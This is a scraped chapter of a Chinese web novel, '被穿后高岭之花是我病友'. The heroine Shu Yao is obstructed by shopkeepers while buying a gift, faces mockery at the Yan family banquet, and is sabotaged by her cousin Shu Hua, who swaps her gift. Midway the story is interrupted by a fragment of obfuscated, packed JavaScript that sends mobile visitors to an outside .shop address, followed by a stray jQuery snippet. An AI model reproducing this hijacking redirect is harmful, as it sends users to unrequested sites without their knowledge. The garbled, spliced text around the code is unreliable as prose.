文趣网 > 其他小说 > 被穿后高岭之花是我病友 > 13. 宴会当天
    计划赶不上变化,原认为修补古籍在这两天就有进展,这样宴会时,她也能借此发挥提升好感度。

    尚未修复的古籍摆在面前,这事还是急不得,稍有差池,万一损坏了古籍,反倒得不偿失,待日后徐徐图之。

    明日便是颜家宴会,这几天忙,倒是忘记准备。

    不能落下舒家的颜面,又不能让颜家觉得俗气,到时候各家送去的礼单,必定会让颜越珩过目,毕竟是因为他,颜家才宴邀广宁其他家。

    送什么好?

    出了书肆,舒窈朝着广宁最繁华的街道沿路走着。

    这里一条龙的商铺,大半都是舒家的铺子。

    舒窈随意挑了一家舒家珠宝首饰铺子,走进去,掌柜伙计谁不认得舒家二小姐的脸,他们也看见舒窈。

    通常来说,伙计见到店主人都会立即前来,热切询问店主人有什么要交代的,捧着账本就来了。

    然而,她一进来,店里面无论是掌事,还是伙计都不到一秒钟,就低下头来,忙着各做各的事。

    可舒窈知道,他们这些人明明都看见她。现在装作看不见,若无其事。

    看着人来人往的客人,兴许是无力招架她。

    如此想着,舒窈走出铺子,向后面几家再看看。哪知一连着五六家店铺,里面的掌事都在看见她来的一瞬间,变了脸色,不忙也要装作手里有活。

    刻意避开她,无视她。

    必然有猫腻。

    舒窈假意要离开,就在踏出门口时,趁掌事不备,快步走到掌事面前。避无可避,徐掌事被舒窈挡住去路。

    “徐掌事,怎么一看见我就要逃?”

    徐掌事被舒窈这么死盯着不放,浑身止不住颤抖,舒二小姐,这个煞星,前面那么多家店铺的掌事不拦着,怎么偏偏逮住他。

    可叹他先前还暗自窃喜,认为自己的店铺位置处于中间,再怎么着,舒二小姐也不会寻到她这里来问话。出门没有看黄历,早知道舒二小姐来,他就今日请假。

    “小姐误会了,我没有要逃,只是碰巧有事。”徐掌事唯唯诺诺,只盼着这尊大神听完后赶紧走,不要再问。

    “哦?是吗?”舒要语调上扬,可眼睛里没有丝毫笑意,“今日可真是赶巧了,那么多家掌事都很忙。”

    “可……可不是嘛,不知是哪家大户要开宴席,近日来买珍玩宝货的人数不胜数。小的最近也是忙得脚不沾地。"

    换言之就是,小姐你行行好吧,不要再问了,我没有功劳也有苦劳。

    观对方这副生怕再多问一句的胆怯模样,起了逆反心,她还偏要问,“正好,想来徐掌事颇有心得。我也是来挑选贺礼的。”对方最不想听的话,终究还是从舒窈的嘴里说出来。

    徐掌事如临大敌,“小姐,我这真没啥好东西,都被其他客人卖光了。不如,你瞧瞧台子上这些,也是不错的货,送人都可以。”

    说着,徐掌事拿起一件配饰呈给舒窈看。

    “我不要这些。”

    “那小姐,你不如到其他家逛一逛,定能买到心仪的。”徐掌事赔笑着。

    其他家的东西都挺好的,不逊色于舒家,可来自家铺子买可以从账册估测其他人卖得多的是哪几种,自己也好避开,避免重复,挑一件独特且乘得心意的贺礼。到底不如在自家买得顺意。

    哪知现在倒是反着来。

    一个掌事还没有那么大的胆子阻拦她买东西,倒是这些掌事背后之人尤其处心积虑,刻意刁难她,是不想让她买到满意的贺礼。

    “你是真没有,还是假的?”舒窈压低声音问道。

    “哎哟!舒二小姐可别在捉弄我一个小小的掌事,有些话小姐可说,我们这些底下的人是万万不能讲的,就饶过我吧。”要不是在铺子里,还有其他客人在,这徐掌事为了保住饭碗,真会下跪求她。

    再怎么问也于事无补,舒家就那几个人,想弄她的人,她不用细想就知道是谁。

    李忆双在她答应带舒华和舒婉时,后面就没有什么阴招对她,更何况,宴会还没开始,再怎么样,李忆双也不会还没得到好处就提前使诈。

    那只可能是那个人了。

    别人先不义,就别怪她无情。

    —

    颜家宴会当日。

    颜府朱门之外,长街两侧早已挤得水泄不通。人头攒动,黑压压一片,颜家的天之骄子时隔三年回广宁,人人都想来凑一份热闹。

    过了好一会儿,颜家才派人清出一条道来,供各高门大户前来赴约。

    人群惊讶声此起彼伏。

    “我的天,这来的可都是广宁有头有脸的人家。”

    “别大惊小怪的,颜家的实力就摆在这里,作为下一位颜家的主君,他们还不得上赶着来巴结。”

    一个人差点跳起来。

    “你们快看,我知道那是华溪马家的马车,华溪马家也来了,这可是能与颜家并称的世家。”

    “颜家排场还真够大的,也不枉此行。有机会真想进去看看。”

    “得了吧,看看就行了,颜家的门第,即便是如舒家那般的富户来捧场,人家也不一定进得去。”

    ……

    接连不断的马车驶过,从颜家门口走进去的人,无一不有家世底蕴。

    持续地喧闹,直到另外一辆马车的到来而归于寂静。从马车上下来的人正是舒窈。

    旁观的人都不敢相信自己的眼睛,下巴都快掉地下。他们没看错吧,舒家居然收到了颜家的请帖?也是来赴约的?

    他们对此表示怀疑。

    还没完,后面的舒窈和舒婉也一同下车。

    好家伙,舒家还不止一个人来,也是,此等宴席,即使厚着脸皮,拖家带口也要来。

    在舒家前面来,还没走进去的几户人家,见此,鄙夷之色立刻显现,他们才不相信颜家会邀请舒家,世家与商贾是有着云泥之别的。

    其中有人耐不住,当着舒家和众人的面就开始数落,“舒家脸皮还真是够厚的,没有请帖,还硬要来参加,也不看看什自己什么身份。”

    “我也是说,一看就是舒家二小姐的主意,从前就爱粘着颜家郎君身边,寸步不离,百般讨好,哪知人家根本就看不上。这种卑微的女子,就算是给我提鞋也不配。”

    “也不知道有没有请帖,就在这装,该不会是来走个过场。”

    ……

    细碎讥讽声此起彼伏,落在耳间格外刺耳。几个人你一言我一语,毫不避讳。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17782963|210131||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >可舒窈没有动怒,在她看来他们这是嫉妒,觉得舒家不配出现在这里,有辱门楣。

    不过,任他们怎么说,有没有请帖,受没受邀请,这些事实放在此,她知道是真的就行。

    “你们……”

    欢颜最先见不惯这些人的嘲弄嘴脸,刚要回怼,就被舒窈按下,示意欢颜先不要在这里争执。

    虽还是有些气不过,但欢颜还是闭口。

    众人注视之下,舒窈神色淡然上前。

    那些人在旁边等着,不着急进去,他们要亲眼目睹舒窈被当众驱赶,沦为全场笑柄。

    下一秒。

    舒窈抬手取出一枚颜家请帖,字迹规整,印章清晰。

    她声线清冷,不卑不亢,“颜府请帖在此,诸位凭何断定我是擅闯?”

    一语落地。

    待颜家管事确认无误后,满堂讥讽骤然一噎,方才嘲讽声最大的几人脸色微僵,脸上藏不住的不可置信。

    宾客登阶,照例呈递贺仪,交由门前管事清点登记。

    舒窈命欢颜将承载贺礼的盒子呈上,四四方方的楠木盒,众人好奇也不知道里面是什么。

    有人顺势笑着起哄,“舒小姐既持帖赴宴,必有厚礼,何不取出一观?也好让我等开开眼界。”

    “正是,堂妹一片心意,定是不俗。”舒华立刻顺势上前,假意温良。

    明面上是想表现舒家的大方,实则不然。

    舒华终于等到这一刻,有些迫不及待想看舒窈出丑。

    舒窈不过是阿伯舒力格收养的孤女,无根无凭、身负污名,在旁人眼里不过是寄人篱下的外人。可偏偏,阿伯待她视如己出,府中优待尽数给她占尽。更让他咬牙切齿的是这等声名狼藉之人,竟能拿到颜府宴会请柬,登高门、赴盛宴。

    凭什么?

    妒意在滋长,明明他已经做了很多准备,甚至用母亲的名义让那些掌事不能卖给舒窈一件贵品。

    坐等看舒窈笑话。

    哪知对方竟亲自找阿伯要贺礼,不费吹灰之力,竟讨得府上数一数二的稀世珍品——珊瑚树。

    他不服,舒华指节死死攥紧,眼底凝着浓重恶意。

    昨日深夜,舒华趁四下寂静,令仆从悄悄摸进舒窈放贺礼的房间,将原来舒窈放在盒子里的珊瑚树拿出来,打算换上一件足以让舒窈抬不起头的东西。

    原打算放一点碎银,但是有件东西在他不小心碰触后差点掉地上,还好他接住,不然声响会惊醒舒窈。

    没成想他接住的东西是一本书,摸上去粗糙,朴素廉价、毫不起眼。

    正合他意,用来狠狠羞辱舒窈。当机立断,将碎银换成书,再加上一块重量与珊瑚树差不多重量的石头。

    舒窈精心筹备、郑重备礼,想来是费尽心思,想要在颜家宴上扳回颜面,攀附颜家的高枝。

    那他便偏不让她如愿。

    满堂宾客皆是金玉珍玩、重器厚礼。唯独舒窈,送上一册旧诗残卷。

    届时满场耻笑,人人都会道她粗鄙寒酸、不识礼数、轻慢世家。

    而他,再顺势抬出自己的贵重贺礼,大度替舒窈解围,这样两相衬托,高下立判。

    他要让所有人看清,舒窈不配舒家门楣。